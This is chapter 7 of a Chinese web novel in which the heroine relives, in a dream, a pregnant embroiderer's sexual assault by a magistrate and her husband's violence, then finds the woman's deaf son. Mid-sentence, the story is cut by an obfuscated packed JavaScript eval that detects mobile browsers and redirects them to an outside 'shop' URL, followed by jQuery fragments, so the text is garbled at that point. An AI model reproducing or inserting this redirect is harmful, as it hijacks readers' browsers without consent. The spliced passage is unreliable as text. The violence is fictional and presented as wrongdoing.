7. 第 7 章

作品:《早死炮灰不想攻略反派

    深夜,康卿黛再一次入梦,看这熟悉的穿搭,应该还是五娘的身体。


    她这才反应过来,近些时日发生的事情太多了,忘记打听五娘的消息了。


    可怜人五娘,不知道这次遭遇又是何等凄惨。


    出人意料的是,这次格外的友好。


    五娘推开房门,搓了搓冻僵的手指,“秋郎我回来了,今日出门上工,我遇到张县令了,他请我明日去府中为他刚出世的儿子绣虎头鞋。”


    她语气满是对未来的憧憬,她轻轻抚摸微微隆起的小腹:“绣完虎头鞋,就够接生婆的银子了。”


    透过桌前的铜镜,康卿黛第一次看到五娘的长相,确实很美,最吸引人的是那双眼睛,眼眸澄澈,似有雪光。


    秋原原本还不以为意,盯着手中的画本子,看的津津有味,闻言他表情有一瞬间的扭曲,很快就恢复正常:“娘子我都说了你不用出去卖绣品,等着我,我马上就会赚到数不清的银子。”


    他嘴上说着关心的话,可身体始终没有任何行动。


    五娘叹了口气,无奈道:“不用的秋郎,你如此这般模样也全都拜我所赐,若不是我当日非得蛊惑你,害你欠了五百两。”


    其实她在青楼过的也不算太差,青楼妈妈对她不差,只是刚好遇到那个懂他的人,心早就在别处了,怎么舍得远离心上人。


    秋原这才舍得放下话本子,上前扶助五娘坐下,俨然一派正人君子的模样:“五娘此生能遇到你是我的福气。”


    画面一转,五娘拿着工具去到县令家。


    张县令很年轻,是个翩翩君子,听说县令高中举人,得陛下赏识,才来到清姚镇当县令的。


    是个爱民的好官。


    五娘提着篮子,“张县令那五娘开始绣了。”


    张县令生的清秀,眼睛笑眯眯的,他摆手:“不用着急,你先过来看看我儿子。”


    五娘总觉得张县令的表情有些奇怪,但又说不出哪里奇怪,她勉强维持笑容:“不太好吧。”


    “这就见外了,你的绣品在清姚镇是数一数二的,哪有什么见不见外的,我应当尊敬你。”


    张县令牵上五娘的手,往前走。


    五娘挣扎了一下,没有挣脱开,“县令,还请自尊。”


    张县令停下脚步,关上门,“抱歉,是我心急了,来,五娘,你快来看看我儿子。”


    床榻上,被褥微微隆起。


    刚出世的婴儿不该用厚重的被褥压着,太奇怪了。


    张县令的好名声,五娘是听过的,应该没有太大问题。


    她放下篮子,朝前走了几步,手刚触碰被褥,张县令其身而上。


    “五娘,早就听闻你滋味不错,今日就让本县令好好品尝一番。”


    “滚开,你给我滚开。”五娘怀着孕,身体柔弱,死死压在床上,更甚者,县令的腿抵着她的肚子。


    她这才惊觉,绣虎头鞋是假,占有她是真。


    五娘眼角缓缓流下一行清泪,她对不起秋郎,她有愧啊。


    千钧一发之际,门重重摔在地上。


    “好你个狐媚子,勾男人勾到老娘头上了,还不来人给我打。”


    藏在五娘身体里的康卿黛瞳孔放大,县令夫人就是五娘死前骂的最凶的人,五娘的死或许是早有预谋。


    那一天大概是五娘人生最灰暗的时刻,鞭子一下又一下抽在脊背上,很疼,她想没事,忍忍就过去了,孩子保住了就行。


    她带着一身上,衣衫不整回到家中,刚想开口将这一天的委屈全盘托出,可没曾想比关心更先来到的是爱人的巴掌。


    五娘瘫倒在地,她嗓音嘶哑道:“秋郎,发生什么了?”


    秋原蹲下身,再次高高举手,扇了下去,“你还有脸问,外面都传遍了,说你不知廉耻勾引县令,你让我的脸往哪放。”


    画面到这,戛然而止。


    康卿黛猛地坐起身,大口喘着粗气。


    五娘……


    林依齐揉了揉眼,轻拍她的脊背,“做噩梦了?”


    “真是噩梦就好了,是比噩梦更恐怖一百倍一千倍的家暴男。”


    林依齐疑惑询问:“什么是家暴男?”


    忘了身边都是一群古人了。


    康卿黛起身下床,解释:“就是嘴上说爱你,实际扇你巴掌的人。”


    林依齐懵懵懂懂,“傅术就是这样的人,好有魅力。”


    糟糕,身边出现恋爱脑怎么破?


    凉拌炒鸡蛋啦。


    康卿黛忿忿不平,语气开始严肃起来:“依齐下次傅术那个讨厌鬼打你的时候,你一定要告诉我。”


    嗯对,告诉她之后,她再去找路景良帮忙。


    男主这么正直的人,应该会大义灭亲的吧?


    真看不出反派竟然还是会家暴的人。


    怪不得人家能叫反派,而她却只能叫早死炮灰。


    她说:“依齐你早点睡,我出去透口气。”


    因为五娘那件事,心情不太好。


    她没敢走出客栈,荒镇还是蛮危险的。


    康卿黛蹲坐在窗边,夜晚月光皎洁明亮,雨已经停了,空气还有些潮湿。


    五娘,你会后悔爱上秋原吗?


    如果那时,五娘没有选择离开青楼,是不是就不会遭受这一切,秋原爱五娘,但他更爱自己,他知道该如何偷懒耍滑。


    五娘心思单纯,怀着孕还得出门卖绣品赚银子,可秋原却只嘴上说着会好好赚钱,实际整日贪恋话本子。


    心善的人,总是得不到好的回报。


    五娘你都这么惨了,上天还要给你致命一击。


    “康姑娘许是想家了?”


    路景良的声音在身后响起,他嗓音浑厚温柔,还带着点特有的少年心气:“都说了,康姑娘要相信在下。”


    康卿黛怔愣片刻,随后抬手擦掉眼角的泪水,“我知道,我只是心情不好。”


    路景良问:“因为五娘?”


    男主读心能力又启动了?


    看出她的疑惑,路景良从怀中拿出手帕,递了出来,他淡声回答:“先前在下不小心听到姑娘与店主的对话,就托世子去打听了一番,只找到这个。”


    绣着老虎头的手帕。


    虎头鞋?


    康卿黛拿着手帕,细细端详,老虎头下方写着一串小字:若有缘人得此物,请到县令府救我。


    什么意思?五娘还活着?


    可是那次梦境,五娘不是死在大雪天了吗?


    不管怎样她都得去看一看。


    路景良慢悠悠开口:“巧的是县令府就在客栈对面。”


    清晨,天才微微亮。


    康卿黛与路景良一起进入荒废的县令府。


    她默默吐槽:“我真服了那个讨厌鬼了,睡不死他。”


    尤其是去叫傅术起床,还莫名其妙被人阴阳怪气,说她多管闲事。


    路景良安抚她:“世子也是担心林姑娘,他们毕竟是青梅竹马。”


    害,可怜的男主还没察觉到对女主的喜欢。


    “算了,你自己好好想想吧。”


    路景良:?


    康姑娘这是在关心我。


    “行,多写康姑娘指点。”


    这次换康卿黛懵了,她啥时候指点男主了,她配指点男主吗?


    县令府墙上长满了杂草,大门上更是写着血红的“狗官”两字。


    路景良抬手推开门,嗓音又低又沉:“张智张县令是远近闻名的好官,我曾在京城常听人提起他,县令为民,得看张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405867|200504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    智。”


    “其实我一直都很想问,清姚镇就在京城旁边,就没有人来彻查荒废的原因吗?”


    从五娘的记忆中能看出这里是难得一遇的风景秀丽,民风淳朴。


    路景良摇头:“我自小在京城长大,从未得知这里早已荒废,怕是有人故意将消息拦截下来。”


    康卿黛停下脚步,灵光一现:“会不会是杀害店主的人?”


    路景良:“应当……不是吧。”


    康卿黛:“为什么不是,此人身份神秘,至今没有现身,难保他没有在暗处盯着我们,只待一个时机一击毙命。”


    “姑娘说的对。”路景良垂下眸子,掩盖住眼底翻涌的情绪,他转移话题:“前面就是县令卧房了。”


    他抬起衣袖,示意康卿黛抓住。


    康卿黛犹豫片刻,还是没抵住内心的恐惧,抓了上去。


    往前走,路景良推开门,一个黑影贴脸杀袭来。


    他面无表情顿住脚步,将康卿黛往自己身后拽。


    “诶诶诶,怎么了?”康卿黛一个趔趄,差点摔倒,她探出脑袋,正对上一双黝黑的瞳孔。


    “啊啊啊,有鬼。”


    路景良无奈道:“都说了,躲我身后。”


    他抬手捂住康卿黛的双眼,待她平静下来,才松开手。


    “是个不爱干净的孩子。”


    康卿黛平复好心情才再次将目光投向黑影,黑影约莫一米二的身高,头发乱糟糟,浑身上下尽是脏污,只有一双眼睛却亮的惊人,手里紧紧握着柄眼熟到不能在眼熟的剑。


    是路景良的剑。


    她总觉得在哪里见过这双眼睛,在哪呢?


    康卿黛脑袋一下子清醒过来,她脱口而出:“你是五娘跟秋原的孩子对吗?”


    与五娘的眼睛一般无二,顽强的生命力,透着想活两个字。


    小孩专心抚摸光滑的剑身,似有所感,他指着自己的耳朵摇头。


    路景良弯下腰,夺过那柄剑,从袖中取出梳子,帮他梳理结块的头发,缓声说:“他听不见。”


    他动作轻柔,神色倒有些悲天悯人的滋味,或许可以说虚伪。


    康卿黛一把搂过孩子,一脸警惕瞪着男主。


    对上男主不明所以的目光,她这才发觉她不正常了,不明白自己是怎么在男主身上联想到虚伪的,男主一定有着正义之心,“我只是……”


    路景良打断她的话,“康姑娘不必同在下解释,在下相信姑娘这样做定有原因。”


    狗屁原因,她能说是女人的第六感吗?


    还是少说话,多做事就行。


    康卿黛捡起棍,刚想在地上写字,忽然想起她不会写古代的字,她朱唇榴齿,是如新月一般醉人,这会歪歪脑袋,讨好笑着:“路景良能帮我写句话吗?”


    路景良没有疑惑,没有询问,有的只是平静接过木棍,“在下乐意之至。”


    “你娘亲是五娘吗?”康卿黛暗骂自己狗眼看人低,男主一点都不虚伪,非常完美的男主。


    路景良的字跟他这个人外在形象严重不符,这种字体应该叫草书。


    狂劲有力,嗯,通俗点就是丑。


    “让姑娘见笑了。”


    “没事没事。”康卿黛指着地上的字,夸张做着口型:“你,认字,认字会吗?”


    小孩推开她,站在五娘这两个字上,张嘴啊啊了几下。


    听不见,说不出话,不认字,他该是如何活着长大的。


    唯一能解答这个问题的人,不会说话,五娘在天之灵看到该是多难过啊。


    “这是我娘亲。”


    沉浸在悲伤中的康卿黛,下意识回道:“别乱认娘……你会说话?”


    小孩冷着一张脸:“你话太多了。”